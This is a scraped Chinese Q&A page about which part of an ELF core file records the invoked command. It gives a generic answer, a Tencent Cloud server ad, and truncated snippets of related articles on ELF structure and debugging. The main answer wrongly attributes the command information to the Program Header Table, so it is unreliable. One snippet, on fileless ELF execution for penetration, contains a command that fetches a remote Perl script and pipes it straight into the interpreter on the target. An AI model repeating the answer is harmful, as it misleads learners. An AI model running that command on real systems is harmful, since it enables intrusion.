首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在ELF核心文件中,哪个部分存储了所调用命令的信息?

在ELF核心文件中,存储了所调用命令的信息的部分是Program Header Table(程序头表)。Program Header Table是ELF文件中的一个数据结构,它包含了程序加载和执行所需的各种信息,包括可执行文件的段(Segment)信息、动态链接器的信息、共享库的信息等。Program Header Table中的每个条目描述了一个段的属性和位置,其中包括段的类型、大小、内存对齐方式、文件偏移量等信息。通过解析Program Header Table,系统可以获取到ELF文件中所调用命令的信息,从而正确加载和执行程序。

推荐的腾讯云相关产品:腾讯云云服务器(CVM) 腾讯云云服务器(CVM)是一种弹性计算服务,提供了多种规格的云服务器实例供用户选择。用户可以根据自己的需求选择合适的配置和操作系统,快速创建和管理云服务器。腾讯云云服务器支持多种操作系统,包括Linux和Windows,提供了丰富的网络和存储选项,可以满足不同应用场景的需求。

产品介绍链接地址:https://cloud.tencent.com/product/cvm

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

详解 Linux 可执行文件 ELF 文件内部结构

linux ,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统 PE 文件。 通过 readelf 命令可以读取 ELF 文件内容。 3....unsigned char 1 1 无符号小整数 下图展示上篇文章我们生成两个文件通过 readelf 命令读取到信息: 3.2....; // 段文件内和内存对齐方式 Elf32_Word p_align; } Elf32_Phdr; 通过 readelf -l 命令我们就可以查看文件 program...后记 本文,我们介绍 ELF 文件四个组成部分,以及其中三个具体结构,而实际存储数据 section 结构我们并没有介绍。...了解了上面的结构信息,你就会发现,事实上与我们目标直接相关ELF 文件 Program Header 部分,他描述可执行文件中有那几个段,每个段需要被载入到内存哪个位置,而每个段包含多少个节

2.6K20

内核级木马与病毒攻防:Linux可执行文件ELF格式描述

ELF文件程序表头是很重要数据结构,它用来描述各个段信息,例如哪里是代码段,哪里是数据段,这些段有多长,要加载到虚拟内存哪个位置等等。...通过程序表头中e_phoff可以获得该表头ELF文件偏移,其二进制数据结构如下: typedef struct { uint32_t p_type; (segment type) Elf32...ELF格式可执行文件概念上由各种”段“组成,例如用于存储代码文本段,用于存储数据数据段等,这些段数量和相关信息就由程序表头来描述,加载运行ELF可执行文件时,系统会读取程序表头,获得各个段信息...*段包含信息用于告诉系统将如何变换某些段虚拟空间地址;.hash段包含一个哈希表,用来加速对符号查找,所谓符号是编译器设置用于记录代码变量类型,取值等信息数据结构,它属于编译原理内容,有符号...我们可以通过如下方式查看各种段信息,首先先将代码编译成.o类型中间文件:gcc -c hello_world.c,然后调用命令readelf -S hello_wolrd.o,所得结果如下图: ?

1.5K10

Linux无文件渗透执行ELF

01 简介 进行Linux系统攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程启动命令,通过/proc/$pid/...02 技术核心 这里向大家介绍一个linux系统底层调用函数memfd_create(2),它在内核3.17引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这就是可以被攻击者利用,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们目的。 ?...系统调用号码存储以_NR开头#define。 ?...第三部分就是执行该文件调用exec函数执行该匿名文件 ? 这里我们最后EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?

5.5K80

第48章 MDK编译过程及文件类型全解(1)

armcc armcc用于把c/c++文件编译成ARM指令代码,编译后会输出ELF格式O文件(对象、目标文件),命令输入"armcc"回车可调用该工具,它会打印帮助说明,见图 489 图 489...armcc帮助提示 帮助提示中分三部分,第一部分是armcc版本信息,第二部分命令用法,第三部分是主要命令选项。...本教程,仅讲解ELF文件核心概念。 ELF是Executable and Linking Format缩写,译为可执行链接格式,该格式用于记录目标文件内容。...各个部分功能说明如下:     ELF文件头用来描述整个文件组织,例如数据大小端格式,程序头、节区头文件位置等。...    程序头告诉系统如何加载程序,例如程序主体存储文件哪个位置,程序大小,程序要加载到内存什么地址等等。

1.4K10

Linux可执行文件与进程虚拟地址空间

可以看到,这里面并没有标明哪个是TEXT段,哪个是DATA段和BSS段。但是可以发现,前三个VMA权限都不一样。 虚拟地址空间存储分布 ?...通过readelf -S name.elf可以查看ELF可执行文件节头表,这里面有所有节信息 ? 将目标文件链接成可执行文件时候,链接器会尽量把相同权限属性段分配在同一空间。...可以使用命令 readelf -l name.elf来查看ELF段。ELF程序头表,保存着segment信息 ? 最下面是是段与节归属关系: ?...ELF将相同或者相似属性section合并为一个segment并映射到一个VMA,是为了减少页面内部碎片,以节省内存空间使用。因为在有虚拟存储机制以后,装载时候采用页映射方式。...这样做好处就是构造ELF可执行文件时,不需要再额外设立BSSsegment,只需把数据segment内存扩大,那些额外部分就是BSS。而这部分多出BSS空间,会被全部填充为0 。

4.2K30

后台开发:核心技术与应用实践 -- 编译与调试

所以当无法判断宏定义是否正确或头文件包含是否正确时,可以查看预处理后文件来确定问题 编译 编译过程就是把预处理完文件进行一系列词法分析、语法分析 语义分析以及优化后产生相应汇编代码文件,这个过程往往是整个程序构建核心部分...目标文件 ELF 是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储标准文件格式。...ELF 文件头被固定地放在不同类对象文件最前面 因此,我们可以用 file 命令来看文件是属于哪种 ELF 文件,如下: ?...strip 命令能从 ELF 文件中有选择地除去行号信息、重定位信息、调试段、 typchk 段、注释段、文件头以及所有或部分符号表。...一旦使用该命令,则很难调试文件符号;因此,通常只已经调试和测试过生成模块上使用 strip 命令,来减少对象文件所需存储量开销。

73910

core-dump文件,BUG终于解决

core-dump文件,又称为核心转储,是操作系统进程收到某些信号终止运行时,将此时进程地址空间、进程状态以及其他信息写入到一个文件,这个文件就是core-dump文件,其主要是为了方便开发人员调试...到此,我们core-dump就配置完成了,当发生崩溃或者异常终止时候,就自动生成core-dump文件。 2.3 特殊信息配置 这一部分,发现很少有人描述到,再此也记录一下!...最后根据当前进程使用可执行文件格式来选择相应填充方法来填充 coredump 文件内容,对于 ELF文件格式 使用elf_core_dump 方法。...elf_core_dump 方法主要工作是:把进程内存信息和内容写入到 coredump 文件,并且以 ELF文件格式 作为 coredump 文件存储格式。...while循环,最终仍然是卡死异常线程,此时可以看一下CPU占用率,哪个最高就是哪个线程触发

1.2K20

【胖虎逆向之路】——GOTPLT Hook详解&针对自定义so库Hook实操

ELF文件链接视图中是 以节(section)为单位来组织和管理各种信息 看图图~ 其中比较重要是圈起来几个点,以下是说明: .dynsym:为了完成动态链接,最关键还是所依赖符号和相关文件信息...,以机器码形式存储 .dynamic:描述模块动态链接相关信息 .got:全局偏移表(Global Offset Table),用于记录外部调用入口地址 .data: 数据段,保存那些已经初始化了全局静态变量和局部静态变量...ELF文件执行视图中是 以段(Segment)为单位来组织和管理各种信息 所有类型为 PT_LOAD 段(segment)都会被动态链接器(linker)映射(mmap)到内存 程序头表(program...“段 (segment)”包含一个或者多个“节(section)” 程序头只对可执行文件或共享目标 文件有意义,对于其它类型目标文件,该信息可以忽略 目标文件文件头 (elf header),e_phentsize...,外部调用跳板,ELF文件以独立段存放,段名通常叫做”.plt” GOT:全局偏移表(Global Offset Table),用于记录外部调用入口地址,段名通常叫做”.got” 到这里我们就开始实际操作了

80441

ELF文件格式简介

ELF文件包含一个Header描述文件基本信息;程序头表告诉徐彤如何构建进程内存镜像,因此只有可执行文件由程序头表;Sections描述链接过程需要符号表、数据、指令等信息,而在可执行文件是...Segments,是经过合并Secitons;节/段头表指明了对应section/segment文件偏移,链接阶段ELF文件必须包含该表头;而每个节/段头描述对应section/segment...2.1 ELF Header   ELF文件头描述ELF文件基本类型,地址偏移等信息,分为32bit和64bit两个版本,定义于linux源码/usr/include/elf.h文件。...2.2 程序头表(Program Header Table)   可执行文件或者共享目标文件程序头部是一个结构数组,每个结构描述一个段 或者系统准备程序执行必需其它信息。...程序头表描述ELF文件Segment文件布局,描述OS该如何装载可执行文件到内存。程序头表表项描述如下,类似于ELF Header也有32和64位两个版本。

1.8K30

哈勃linux沙箱-源码剖析上篇

文件类型信息 通过file命令获取文件信息,比如是二进制还是其他类型文件linux是无法通过后缀判断它是什么文件。 ? 2....第三节 动态检测 动态检测是沙箱核心部分,但是本篇不展开讲解,在下一篇进行详细分析,因为动态检测原理比较复杂。动态检测内容dynamic目录下dynamic_analyzer.py文件里。...elf文件,出于动态链接需要,需要在elf文件中保存函数符号,供链接器使用。具体格式,大家可以参考elf文件格式。...这样ltrace就能够获得该文件,所有系统调用符号,以及对应执行指令。然后,ltrace将该执行指令对应4个字节替换成断点指令。...内存分析 对于内存,沙箱基本上都是基于volatility来做,哈勃也不例外。哈勃主要分析部分内存: 1.bash 调用历史 ? 2.父子进程关系 ?

2.5K10

Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出

4.objdump 用于显示一个或多个目标文件各种信息,通常用作反汇编器,但也能显示文件头,符号表,重定向等信息。 从源码可以看到objdump 执行流程如下: a....首先检查命令行参数,通过 switch 语句选择要被显示信息。 b. 剩下参数被默认为目标文件,它们通过 display_bfd() 函数进行排序。 c....d. dump_bfd() 依次调用单独函数来显示相应信息。 0x01: 漏洞分析 1.编译下面代码gcc -c test.c -o test生成elf文件。...图1 用objdump读取构造后ELF文件后抛出异常,并且提示错误原因,如图2示: ?           图2 3.通过回溯栈调用情况,一步一步追踪函数调用关键函数下断点动态调试分析。...从图4原码可以看到,在后面的 bfd_alloc() 被调用时,第二个参数即大小为 0,函数里面并没有真正分配内存成功, 并且给一个随机内存值。图5示。 ?

89420

程序编译、链接、装载与运行

数量 … 从header我们可以得到很多有用信息,其中一个尤其重要,那就是段表位置和长度,通过这一信息我们可以从ELF文件获取到段表(Section Hedaer Table),ELF...段表保存ELF文件中所有的段基本属性,包括每个段段名、段ELF文件偏移、段长度以及段读写权限等等,段表决定整个ELF文件结构。...off:段ELF文件偏移地址 CONTENTS:表示此段存在于ELF文件 … 我们重点关注.text、.data、.bss和.rodata这几个段: .text 段保存程序所有指令信息,objdump...栈为每一个函数调用维护其所需要一些信息,为每个函数所维护信息部分叫做栈帧(Stack Frame),栈被分割为很多个栈帧。...回顾历史我们就会发现,C语言就是为了Unix而被发明,它们之间发展过程也不断互补与完善,这才有我们今天看到联系十分紧密类Unix操作系统和C语言编译器。

1.3K10

ELF格式分析与常用工具以及不常见问题

前言: ELF只linux是最常用可执行文件格式,这里简单分析一下ELF格式,介绍几个常用命令,并分享几个不常见问题。...好处是会让binary小很多,并且binary不会残留编译机器上信息;坏处就是出了问题之后,不能debug。...4,*.a 想要编译静态链接库,需要先用gcc编译成*.o文件,把*.o文件使用ar命令打包即可。 5,section ? ELF格式是由一个或者多个section组成。...4008bc这个地址上,把40090a放到了edix86上,edi就是第一个参数参数地址,然后调用了__cxa_atexit函数,可见,g++编译时候,已经帮我们把全局类变量析构函数注册给...如果声明 同一个类两个实例,哪个实例先构造呢?聪明你可能会发现,先声明实例先执行构造,那么如果在不同.h文件声明呢?怎么确定哪个先被引用到

2K70

栈溢出利用之Return to dl-resolve

上面一张图片简单描述第一次调用函数流程。而要说到dl_runtime_resolve如何解析函数,那就不得不提到ELF文件几个关键节区。见下图框起来部分。 ? ?...符号表索引 } Elf32_Rel; r_offset就是该函数got表位置,r_info用来检索函数其他信息节区dynsym位置。...ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 dynsym节区每个存储函数信息数据结构如下: typedef struct...伪造symst_name代表偏移值,可以使得str落在我们可控范围内。 伪造str值,比如system。...data部分是从bss段开始,我留出了880个字节当作dl_runtime_resolve函数调用所需栈空间,得益于这是一片可写区域。之后空间就是我放置伪造信息区域

56500

完全剖析 - Linux虚拟内存空间管理

Linux 系统,就是使用这种文件格式来存储一个可执行应用程序。...ELF 文件结构大概如图3示: ? 当内核加载一个应用程序时,就是通过读取 ELF 文件信息,然后把文件中所有的段加载到虚拟内存。...ELF 文件通过 程序头表 来描述应用程序中所有的段,表每一个项都描述一个段信息。...我们可以通过 readelf -S file 命令来查看 ELF 文件段(节)信息,如下图所示: ? 上面列出了 代码段、数据段、未初始化数据段 和 注释段 信息。 2....通过上面的过程,内核就把应用程序所有段加载到虚拟内存。 总结 本文主要介绍 Linux 内核是怎么加载应用程序,并且虚拟内存建立各个段布局。

3.1K12

Trace32 simulator调试以及简单实用命令介绍

/vmlinux 0x1488800000 /nocode 加载elf文件命令,把指定elf文件加载到目标设备或者仿真设备0x1488800000地址上去。...elf文件在编译时会把源文件路径加入到elf文件,我们后面加上/nocode代表没有对应sourcecode,trace32就不会去对应目录去查找源文件。...v.f 用来查看系统当前调用栈关系,通过这个界面,类似于kernel dmesgdump stack,我们可以查看函数调用栈回溯。...不同CPU运行信息查看 对于多核芯片,比如高通ramdump,最后抓出来数据,我们利用simulator功能来仿真时,每次只设置一个CPU核,那么对于多核心怎么来确定,当前使用哪个CPU呢?...core5_regs.cmm core6_regs.cmm core7_regs.cmm 这些文件分别存储不同CPU核心寄存器信息,我们通过trace32加载不同脚本来区分查看不同

6510

认识目标文件格式——a.out COFF PE ELF

它们Windows下都按照PE-COFF格式存储,Linux下按照ELF格式存储。静态链接库稍有不同,它是把所有目标文件打包成一个文件,再加上一些索引,可以简单理解为一个包含很多目标文件文件包。...,二是与可执行文件结合,作为进程映像部分来运行 Linux.a,Windows.dll 可执行文件(Executable File) 包含了可直接执行程序 Linux下无后缀ELF可执行文件...,Windows.exe文件 核心转储文件(Core Dump File) 当进程意外终止时,系统可以将该进程地址空间内容及终止时一些其他信息转储到核心转储文件 Linux下core dump...Linux下可以根据file命令查看上面表格列出四种ELF文件格式。...由于COFF格式设计非常通用,以至于COFF继承者PE和ELF目前还在被广泛地使用。COFF主要贡献是目标文件引入了“段”机制,不同目标文件可以拥有不同数量及不同类型段。

2.9K30

so文件在线加固加密_安卓so文件解密

这就引入了我们今天主题,可以把我们关键so文件核心函数放在自己定义节里面,然后进行加密保护,合适时机构造解密函数,当然解密函数可以用这个_attribute__((constructor...getLibAddr()这个函数:介绍这个函数之前首先了解一个内存映射问题: 和Linux一样,Android提供基于/proc“伪文件”系统来作为查看用户进程内存映像接口(cat /proc/...2.对得到.so文件进行加密:这一块也是一个重点,大致上逻辑我们可以这么认为:先找到那个我们自己定义节,然后找到对应offset和size,最后进行加密,加密完以后重新写到另一个新.so文件...,这样会产生浪费,操作系统层面来讲,可以吧相同权限section放在一起成为一个Segment再进行映射,这样一来减少浪费,但是映射时候会有一部分信息不会映射到内存,可以看这个图: 、 因此来说修改这些不会报错...本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

3K40

链接加载原理及ELF文件格式

,但是有动态链接库以后,部分外部库引用符号加载时候才会得到解析,所以加载也要处理链接器相同操作重定位。...重定位表(Relocation): 有符号表,就需要有人对符号表进行引用,程序执行过程对全局变量引用、跳转、调用函数,这些都涉及到相应符号引用。...elf文件 相关背景 Elf文件格式,是现有linux环境下最流行可执行文件格式,elf文件存储信息之上,实现相应链接和加载特性。...c.objdump “objdump –d file“反汇编出elf文件包含可执行代码section,elf命令功能最强大一个。...d.objcopy 转换elf文件为bin或者其他格式文件,编译内核时候会使用到。 e.strip 去掉elf文件符号表和调试信息,对elf文件进行减肥。

1.1K20

重学计算机组成原理(七)- 程序无法同时Linux和Windows下运行?

第二部分,我们通过装载器(Loader)把可执行文件装载(Load)到内存 CPU从内存读取指令和数据,来开始真正执行程序 [bz6uwgudne.png]2 ELF格式和链接:理解链接过程程序最终是通过装载器变成指令和数据...,存储一个叫作符号表(Symbols Table)位置里。...我们先只关注和我们add以及main函数相关部分 你会发现,这里面,main函数里调用add跳转地址,不再是下一条指令地址,而是add函数入口地址,这就是EFL格式和链接器功劳 [qhfnlsqnmi.png...] ELF文件格式把各种信息,分成一个一个Section保存起来。...比如上面的 link_example.o 里面,我们main函数里面调用了 add 和 printf 这两个函数,但是链接发生之前,我们并不知道该跳转到哪里,这些信息就会存储重定位表里; 最后是.

1.3K60
领券